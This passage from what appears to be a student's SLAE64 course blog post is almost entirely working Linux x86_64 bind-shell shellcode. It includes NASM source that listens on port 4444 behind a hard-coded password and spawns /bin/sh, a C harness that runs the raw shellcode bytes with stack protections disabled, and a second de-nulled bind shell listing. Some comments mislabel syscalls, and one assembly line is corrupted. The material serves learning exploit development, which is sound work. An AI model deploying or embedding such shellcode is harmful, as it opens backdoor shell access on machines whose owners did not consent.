    syscall             ; make the call to socket
                        ; socketid will be in rax

    ; SYS_BIND      bind(2)

    ; rax : sys_bind 49
    ; rdi : socketid which will be in rax initially
    ; rsi : struct sokaddr *umyaddr
    ; rdx : int addrlen

    xchg rdi, rax       ; move socketid into rdi

    xor rax, rax        ; zero out rax

                        ; rdi already contains socketid
    mov rsi, rax        ; zeroing out rsi
    mov rdx, rsi        ; zeroing out rdx

    xor r9, r9          ; zero out r9
    push r9             ; pushing 0.0.0.0 into in_addr
    push word 0x5C11    ; port number (least significant 
                        ; byte first ... 0x115C is 4444)
    push word 0x02      ; AF_INET - which is 0x02

    mov rsi, rsp        ; moving stack address to rsi

    add rdx, 16         ; 16 byts long (or 32bit)

    add rax, 49         ; set rax to sys_bind

    syscall             ; make the call to bind
                        ; socketid will be in rax

    ; SYS_LISTEN    listen(2)

    ; rax : sys_listen 50
    ; rdi : socketid which is already in rdi
    ; rsi : int backlog

    xor rax, rax        ; zero out rax

                        ; socketid already in rsi
    mov rdx, rax        ; zeroing out rdx
    add rdx, 0x01       ; moving backlog number to rdx

    add rax, 50         ; setting rax to sys_listen

    syscall             ; make call to listen

    ; SYS_ACCEPT    accept(2)
    ; Returns clientid needed for dup2

    ; rax : sys_accept 43
    ; rdi : socketid already in rdi
    ; rsi : struct sockaddr *upeer_sockaddr
    ; rdx : int *upeer_addrlen

    xor rax, rax        ; zero out rax

                        ; socketid already in rsi
    mov rsi, rax        ; moving null to rsi
    mov rdx, rax        ; moving null to rdx

    add rax, 43         ; setting rax to sys_connect

    syscall             ; make call to listen

    ; sys_dup2

    xchg rdi, rax       ; moves clientid to rdi

    ; rax : sys_dup2 33
    ; rdi : already contains clientid
    ; rsi : 1 to 3 in loop

    xor r9, r9          ; zeroing out loop counter

    loopin:
        xor rax, rax    ; zero out rax
        add rax, 33     ; setting rax to sys_dup2
        mov rsi, r9     ; move fileid to duplicate
        syscall         ; call dup2
        inc r9          ; increase r9 by 0x01
        cmp r9, 3       ; compare r9 to 0x03
        jne loopin

    ; We need to check for password here
    ; 1. ask for password
    ; 2. check password
    ; sys_read

    ; letup loop to checking the password
    checkpassword:

        ; sys_write
        ; rax : 1
        ; rdi : unsigned int fd : 1 for stdout
        ; rsi : const char *buf : string
        ; rdx : size_t count : how big

        xor rax, rax                  ; zero out rax
        mov rdx, rax                  ; zero out rdx
        inc rax                       ; increase rax to 1
        mov rdi, rax                  ; move 1 into rdi
        lea rsi, [rel enter_password] ; moving enter_password
        add rdx, 39                   ; setting size enter_password

        syscall

        ; sys_read
        ; rdi : unsigned int fd : 0 for stdin
        ; rsi : char *buf : stack?
        ; rdx : size_t count : how big

        xor rax, rax ; zero out rax
        mov rdi, rax ; zero out rdi
        mov rdx, rax ; zero out rdx

        ; leave rax alone since read is 0
        mov rsi, rsp    ; set buffer to stack
        add rdx, 8      ; setting size of Password

        syscall ; calling read

        mov rdi, rsp                ; setting rdi to input buffer
        mov rax, 0x64726f7773736150 ; moving Password into buffer
        scasd                       ; scanning for a match
        jne checkpassword           ; if not a match then re-ask for password

    ; sys_execve

    ; rax : sys_execve 59
    ; rdi : const char *filename
    ; rsi : const char *const argv[]
    ; rdx : const char *const envp[]

    xor rax, rax        ; zeroing out rax
    add rax, 59         ; setting rax to sys_execve

    xor r9, r9          ; zeroing out r9
    push r9             ; pushing null to stack

    mov rbx, 0x68732f6e69622f2f     ; moving "//bin/sh"
    push rbx                        ; pushing "//bin/sh"

    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    ;rsp now looks like: "//bin/sh,0x0000000000000000";
    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

    mov rdi, rsp        ; moving the param to rdi
                        ; rdi now contains "//bin/sh,0x0000000000000000"

    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    ; now we look like: execve("//bin/sh,0x0000000000000000", NOT-SET-YET, NOT-SET-YET);
    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

    ; now we need to get 0x0000000000000000 into rdx
    push r9             ; r9 is still 0x0000000000000000 so push it to rsp
    mov rdx, rsp        ; we need to move a 0x0000000000000000 into
                        ; the third parameter in rdx

    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    ; now we look like: execve("//bin/sh,0x0000000000000000", NOT-SET-YET, 0x0000000000000000);
    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

    ; the second parameter is needs to be "//bin/sh,0x0000000000000000"
    ; which we can accomplish by moving rdi onto the stack
    ; and then moving rsp into rsi since it will be on the stack

    push rdi            ; pushing "//bin/sh,0x0000000000000000" back to the stack
    mov  rsi, rsp       ; moving the address of rdi (on the stack) to ecx

    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    ; now we look like: execve("//bin/sh,0x00000000000000000", *"//bin/sh,0x0000000000000000", 0x0000000000000000);
    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

    syscall             ; calling sys_execve
https://github.com/securitychops/security-tube-slae64/blob/master/assignment-1/shell-bind.nasm


Final C Program To Execute Shellcode (Part 1)

// Student ID   : SLAE64-1611
// Student Name : Jonathan "Chops" Crosby
// Assignment 1 : Shell Bind TCP (Linux/x86_64) Assembly
// File Name    : shellcode.c

#include<stdio.h>
#include<string.h>

//compile with: gcc shellcode.c -o shellcode -fno-stack-protector -z execstack

unsigned char code[] = \
"\xeb\x28\x45\x6e\x74\x65\x72\x20\x74\x68\x65\x20\x73\x65\x63\x72\x65\x74\x20\x70\x61\x73\x73\x77\x6f\x72\x64\x20\x74\x6f\x20\x63\x6f\x6e\x74\x69\x6e\x75\x65\x3a\x20\x0a\x48\x31\xc0\x48\x89\xc7\x48\x89\xfe\x48\x89\xf2\x48\x83\xc0\x29\x48\x83\xc7\x02\x48\x83\xc6\x01\x0f\x05\x48\x97\x48\x31\xc0\x48\x89\xc6\x48\x89\xf2\x4d\x31\xc9\x41\x51\x66\x68\x11\x5c\x66\x6a\x02\x48\x89\xe6\x48\x83\xc2\x10\x48\x83\xc0\x31\x0f\x05\x48\x31\xc0\x48\x89\xc2\x48\x83\xc2\x01\x48\x83\xc0\x32\x0f\x05\x48\x31\xc0\x48\x89\xc6\x48\x89\xc2\x48\x83\xc0\x2b\x0f\x05\x48\x97\x4d\x31\xc9\x48\x31\xc0\x48\x83\xc0\x21\x4c\x89\xce\x0f\x05\x49\xff\xc1\x49\x83\xf9\x03\x75\xeb\x48\x31\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc7\x48\x8d\x35\x4e\xff\xff\xff\x48\x83\xc2\x27\x0f\x05\x48\x31\xc0\x48\x89\xc7\x48\x89\xc2\x48\x89\xe6\x48\x83\xc2\x08\x0f\x05\x48\x89\xe7\x48\xb8\x50\x61\x73\x73\x77\x6f\x72\x64\xaf\x75\xc5\x48\x31\xc0\x48\x83\xc0\x3b\x4d\x31\xc9\x41\x51\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x48\x89\xe7\x41\x51\x48\x89\xe2\x57\x48\x89\xe6\x0f\x05";

main()
{
    printf("Shellcode Length:  %d\n", strlen(code));
    int (*ret)() = (int(*)())code;
    ret();
}
https://github.com/securitychops/security-tube-slae64/blob/master/assignment-1/shellcode.c


Their Bind Shell Assembly Code After We DeNulled It in x86_64 (Part 2)

global _start


_start:

	; sock = socket(AF_INET, SOCK_STREAM, 0)
	; AF_INET = 2
	; SOCK_STREAM = 1
	; syscall number 41 

	xor rax, rax
	mov rdi, rax
	mov rsi, rax
	mov rdx, rax
	add rax, 41
	add rdi, 2
	inc rsi
	syscall

	; copy socket descriptor to rdi for future use 

	mov rdi, rax

	; server.sin_family = AF_INET 
	; server.sin_port = htons(PORT)
	; server.sin_addr.s_addr = INADDR_ANY
	; bzero(&server.sin_zero, 8)

	xor rax, rax 

	push rax

	mov dword [rsp-4], eax
	mov word [rsp-6], 0x5c11
	mov word [rsp-8], 0x2
	sub rsp, 8

	; bind(sock, (struct sockaddr *)&server, sockaddr_len)
	; syscall number 49

	xor rax, rax
	mov rdx, rax
	add rax, 49
	
	mov rsi, rsp
	add rdx, 16
	syscall

	; listen(sock, MAX_CLIENTS)
	; syscall number 50

	xor rax, rax
	mov rsi, rax
	add rax, 50
	add rsi, 2
	syscall

	; new = accept(sock, (struct sockaddr *)&client, &sockaddr_len)
	; syscall number 43
	
	xor rax, rax
	mov rsi, rax
	add rax, 43
	sub rsp, 16
	mov rsi, rsp
        mov byte [rsp-1], 16
        sub rsp, 1
        mov rdx, rsp

        syscall

	; store the client socket description 
	mov r9, rax 

        ; close parent

	xor rax, rax
	add rax, 3
        syscall

        ; duplicate sockets

        ; dup2 (new, old)
        mov rdi, r9
	xor rax, rax
	mov rsi, rax
        add rax, 33
        syscall

        add rax, 33
        add rsi, 1
        syscall

	xor rax, rax
	mov rsi, rax
        add rax, 33 in x86_64 
        add rsi, 2
        syscall

        ; execve

        ; First NULL push

        xor rax, rax
        push rax

        ; push /bin//sh in reverse

        mov rbx, 0x68732f2f6e69622f
        push rbx

        ; store /bin//sh address in RDI

        mov rdi, rsp

        ; Second NULL push
        push rax

        ; set RDX
        mov rdx, rsp

        ; Push address of /bin//sh
        push rdi

        ; set RSI

        mov rsi, rsp

        ; Call the Execve syscall
        add rax, 59
        syscall

Jonathan Crosby

growing my chops in cybersecurity
(all opinions are my own and not the views of my employer)